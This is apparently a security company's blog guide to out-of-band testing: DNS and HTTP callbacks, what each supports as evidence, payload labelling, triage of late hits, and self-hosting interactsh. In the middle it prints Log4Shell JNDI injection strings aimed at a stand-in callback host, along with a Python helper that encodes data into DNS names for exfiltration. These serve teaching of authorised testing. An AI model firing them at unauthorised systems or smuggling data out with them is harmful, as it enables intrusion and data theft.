← Blog
November 12, 202610 min readMethodologyAppSecVulnerability ResearchSSRF

Out-of-band testing explained: what a DNS or HTTP callback really tells you

In 2017 James Kettle sent a payload to a server in Russia and got a pingback from Kent, UK. Out-of-band application security testing (OAST) catches blind SSRF, XXE, SQL injection and command injection by making the target contact a server you control, but a callback is evidence that needs reading. How the DNS and HTTP round trip works, what each protocol lets you claim, how to label payloads so every hit explains itself, the callbacks that arrive late or from the wrong system, and when to run your own collaborator server.

By Krishna Kumar

Methodology: Phase 20 · Exploit verification

“Getting a pingback from Kent, UK for a payload sent to Russia is hardly expected behavior.” That line is from James Kettle's 2017 PortSwigger research Cracking the lens, in which, by his account, every finding “started with a pingback.” The callback came from neither the target nor anything it owned: the reverse DNS pointed at proxies run by British Telecom, Kettle's own ISP, which were intercepting his traffic on the way out. It is a neat summary of out-of-band testing: the technique finds things nothing else will, and the evidence it hands you is easy to misread.

Out-of-band application security testing (OAST) means making the system under test contact a server you control, then watching that server. It is how you find bugs that leave no trace in the HTTP response: blind SSRF, blind XXE, blind SQL injection, blind command injection, stored XSS that fires in someone else's browser, and template or expression injection deep in a back end. PortSwigger's own guidance calls OAST “the most reliable way to detect blind SSRF”. This guide is about the part tutorials skip: how the round trip works, what a given interaction does and doesn't let you claim, and how to keep the signal clean.

How a callback reaches you

Every OAST setup, whether Burp Collaborator, ProjectDiscovery's interactsh or a home-grown listener, rests on one DNS trick. Someone owns a domain and makes the OAST server its authoritative name server: the provider, if you use the public Collaborator or interactsh services, or you, if you self-host. Any lookup of any name under that domain, anywhere on the internet, then ends at that server. Your client hands out unique subdomains as payloads, and the name in the query tells you which payload fired.

payload:  sqli-q.k3x9f2...oast.example

(1) app server  -> its resolver     A? sqli-q.k3x9f2...oast.example
(2) resolver    -> OAST NS server   A? sqli-q.k3x9f2...oast.example
      logged: DNS, source IP = the RESOLVER, not the app
(3) app server  -> OAST server      GET /  Host: sqli-q.k3x9f2...oast.example
      logged: HTTP, source IP = whoever made the request
(4) your client -> OAST server      poll with secret -> list of interactions

Two details in that sequence drive most interpretation mistakes. First, the DNS query you log almost never comes from the vulnerable host; it comes from whatever recursive resolver that host uses, which may be a corporate resolver, a cloud provider's, or a public one. Second, nothing is pushed to you. Burp polls the Collaborator server every 60 seconds, and the interactsh client polls every 5 seconds by default, so “no hit yet” is a statement about the last poll, not about the target.

Correlation is just string matching on the name. Interactsh's server documentation describes a default 33-character payload made of a 20-character correlation ID plus a 13-character nonce, and warns that client and server must agree on those lengths or “co-relation will not work.” Collaborator payloads carry a random identifier derived from a one-way hash, and only the Burp instance that generated a payload holds the secret needed to retrieve its interactions.

What each kind of interaction lets you claim

Treat the protocols as rungs on a ladder. Each rung supports a stronger statement, and a report should claim exactly the rung you reached.

Interaction received for a unique payload
DNS only
Something resolved your name. Often the app tried to connect and egress filtering stopped the HTTP leg. Weakest claim.
DNS + HTTP
A system made an outbound request you chose. Source IP, headers and User-Agent now say who.
Response used
Data you served came back in-band or changed behaviour. Now you can reason about reading or pivoting.
Claim the rung you reached. A DNS hit says a name was resolved; it says nothing yet about a request being sent or a response being used.

The DNS-only case is the one people argue about. PortSwigger's blind SSRF material explains the common cause: the application tried to make an HTTP request, the lookup went out, and “the actual HTTP request was blocked by network-level filtering,” because infrastructure often lets DNS out while blocking unexpected connections. That is real server-side behaviour you controlled, and it is worth reporting as such. It is not, on its own, evidence that you can read internal resources. Kettle makes the same point about some of his own findings: in those cases “the callback behavior itself isn't exploitable.”

HTTP gives you much more to work with: the source address of the fetcher, its User-Agent, any headers it forwards, the path and query it requested, and whether it follows a redirect you serve. SMTP and LDAP interactions mean something more specific again. An SMTP hit says a mail system tried to deliver to an address you planted, which is how mail header injection and email-triggered features show up. An LDAP hit is the classic Log4Shell signature. Interactsh's default server listens for DNS, HTTP, HTTPS, SMTP, SMTPS and LDAP, with FTP and SMB available on self-hosted instances. The Collaborator documentation's own caveat applies to all of them: “The ability to induce an external service interaction doesn't always indicate a vulnerability.” A webhook feature that fetches the URL you give it is doing its job.

Labelling payloads so every hit explains itself

If you inject the same OAST domain into twenty parameters and get one DNS hit, you have learned that something somewhere is vulnerable. The fix is to make the name carry its own provenance. Because your server answers for every name under the domain, you can add labels in front of the unique part and they arrive intact in the query log.

The public nuclei template for Log4Shell is a good real example. It sends the JNDI string in the query string and in 19 different headers, and each copy carries a different label so the callback names the input that triggered it. It also asks the vulnerable process to insert its own host name (random values and header labels simplified here):

GET /?x=${jndi:ldap://${:-123}${:-456}.${hostName}.uri.OAST-ID.oast.example/a}

User-Agent: ${jndi:ldap://...${hostName}.useragent.OAST-ID.oast.example/a}
Referer:    ${jndi:ldap://...${hostName}.referer.OAST-ID.oast.example/a}

The template's matcher requires a DNS interaction and then extracts two labels: the host name the expression resolved to and the input label (uri, useragent, referer and so on). One callback now answers three questions at once: which input, which host evaluated it, and that the expression really was evaluated rather than just echoed, since ${hostName} only becomes a real host name if Log4j processed it. That last point is the general lesson. A payload that makes the target compute something into the name (a host name, a database user, the result of 7*7) tells you the input was executed, not merely forwarded by a proxy or a link scanner.

When you do move data through DNS, two limits from the protocol shape the encoding. RFC 1035 caps each label at 63 octets and a whole name at 255 octets on the wire, which works out to 253 characters written as dotted text. And RFC 4343 is explicit that DNS names are case-insensitive, with case preservation not guaranteed in every path, so base64, which depends on case, can arrive corrupted. Use lower-case base32 or hex:

import base64

def oast_name(data: bytes, point: str, oast_id: str, zone: str) -> str:
    # base32 lower-case survives resolvers that change letter case
    enc = base64.b32encode(data).decode().rstrip("=").lower()
    chunks = [enc[i:i + 60] for i in range(0, len(enc), 60)]  # labels <= 63
    name = ".".join(chunks + [point, oast_id, zone])
    if len(name) > 253:
        raise ValueError("split the data across several lookups")
    return name

# oast_name(b"canary-42", "p-search", "k3x9f2abc", "oast.example")

On an authorised test, keep what you move this way to markers you planted or harmless identifiers like a host name. A callback log is a copy of data leaving the client's network, and anything you exfiltrate lands on whichever server you chose, which matters for the next section.

Callbacks that arrive late, or from somewhere else

The hardest OAST evidence to read is the hit that turns up at the wrong time or from the wrong place. Kettle's paper catalogues pingbacks that arrived “after a time delay - three minutes, several hours, or in one case every 24 hours,” and analytics systems that fetched a supplied URL roughly 26 hours after the request. Burp documents the same pattern for stored XSS: the payload sits in the database until an administrator's browser renders it, and Collaborator reports the “deferred interactions that occur asynchronously” on a later poll.

Late hits usually mean a second system processed your input: a log pipeline, a queue consumer, an analytics job, a moderation tool. Log4Shell made this concrete. The Apache advisory for CVE-2021-44228 says that in Log4j 2.0-beta9 through 2.14.1 (other than the 2.3.1, 2.12.2 and 2.12.3 security releases) “an attacker who can control log messages or log message parameters” can execute code loaded from an LDAP server, and a header logged by one service can easily be parsed by a different one further downstream. That is why the ${hostName} label is so useful: when the callback arrives, it tells you which machine evaluated the string, which may not be the one you sent it to.

Then there are interactions that come from systems with no bug at all. Chat tools unfurl links: Slack's Slackbot-LinkExpanding robot fetches URLs users post, identifies itself in its User-Agent, and caches results for around 30 minutes. Mail security gateways, browser safe-browsing checks and your own proxy or scanner can all resolve a name you pasted somewhere. Before you write a finding, run every hit through the same short triage:

  • Which label? Does the name map to exactly one request and one injection point you sent? Recycled IDs make this impossible to answer.
  • Who sent it? For HTTP, does the source IP belong to the target's infrastructure or cloud range, or to a crawler, unfurler or your own tooling? For DNS, remember the source is a resolver.
  • What does the User-Agent say? A Java or Python HTTP client from the target's range reads very differently from a named bot.
  • Is the timing plausible? Seconds after the request suggests the synchronous path; hours later points to a second system worth identifying.
  • Does it reproduce? Send a fresh ID through the same input. Kettle notes a Yahoo issue that, behind load balancing, “only had a 30% chance of being found on any given scan,” so a failed repeat is a reason to try again, not a reason to close.

Public collaborator or your own server

The public services are convenient and reasonably designed. PortSwigger's data security notes say that on the public Collaborator server interaction details are encrypted and stored in Redis, need both a user secret and a master secret to decrypt, and are discarded once retrieved; they also advise against registering for websites with a Collaborator-based email address. Interactsh's README describes “AES encryption with zero logging” and ships a rotating list of public servers (oast.pro, oast.live, oast.fun and others) that it says are “subject to change/rotate/down at any time.”

Three things push serious engagements toward a private server anyway. Callbacks can contain client data, from internal host names to whatever a blind injection leaked. Well-known public OAST domains are easy for a defender to block or alert on, which can hide a real bug. And a public instance can disappear mid-test, taking your delayed hits with it. Self-hosting is a short job:

# DNS at your registrar: glue records ns1/ns2.oast.example -> VPS IP,
# then set ns1.oast.example and ns2.oast.example as the domain's name servers.

# on the VPS: open 53 on BOTH udp and tcp, plus 80, 443, 25, 587, 465, 389 as needed
interactsh-server -domain oast.example -e 7      # keep interactions 7 days

# on your workstation
interactsh-client -server oast.example -n 20 -json -o hits.jsonl

Interactsh's server keeps interaction data in memory for 30 days by default (the -e flag), can persist to disk, and issues wildcard certificates automatically so HTTPS callbacks work. Its documentation warns that the optional dynamic-response feature “lets anyone run client-side code / redirects using your interactsh domain,” so give it a domain that is used for nothing else. A private Collaborator server needs the same delegation (an NS record pointing the subdomain at the server) and binds DNS, HTTP, HTTPS, SMTP and SMTPS ports.

OAST inside an automated pipeline

Scanners and agentic testers use the same machinery. Burp Scanner drives Collaborator automatically; nuclei templates use {{interactsh-url}} placeholders and interaction matchers. Automation makes the bookkeeping easier and the interpretation harder, because nobody is looking at each hit. A pipeline worth trusting does a few things deliberately:

Unique ID per input
request + parameter
Inject
computed labels where possible
Poll
during and after the run
Triage
label, source, UA, timing
Re-fire
fresh ID, same input
Keep listening after the scan ends, and treat late or unlabelled hits as leads for a human, not findings.
  • Mint a unique ID per request and parameter, and store the mapping, so a hit three days later still resolves to a single input.
  • Keep polling well after the scan finishes, and route late hits into a queue a person reviews rather than straight into the report.
  • Filter known bots and your own infrastructure by source range and User-Agent before anything is scored.
  • Re-fire with a fresh ID before raising severity, and record which rung of the ladder the finding reached.

The limit runs the other way too. Silence is weak evidence of safety: a target with no outbound DNS, a payload that lands in the wrong context, or a back-end job that runs tomorrow will all produce nothing today. That applies to every automated tester, Xalgorix included; the out-of-band listener is one of the standing costs we listed in what self-hosting an agentic pentester costs, and a quiet listener should be reported as “no interaction observed,” never as “not vulnerable.”

Takeaways. A DNS callback means a name was resolved, usually by a resolver rather than the vulnerable host; an HTTP callback tells you who fetched; a used response is where impact starts. Give every injection point its own ID, make the target compute something into the name when you can, expect hits that are late or come from a different system, run your own server when callbacks may carry client data, and never read silence as a clean result.

Ready to see it prove a bug?

Start scanning on Cloud →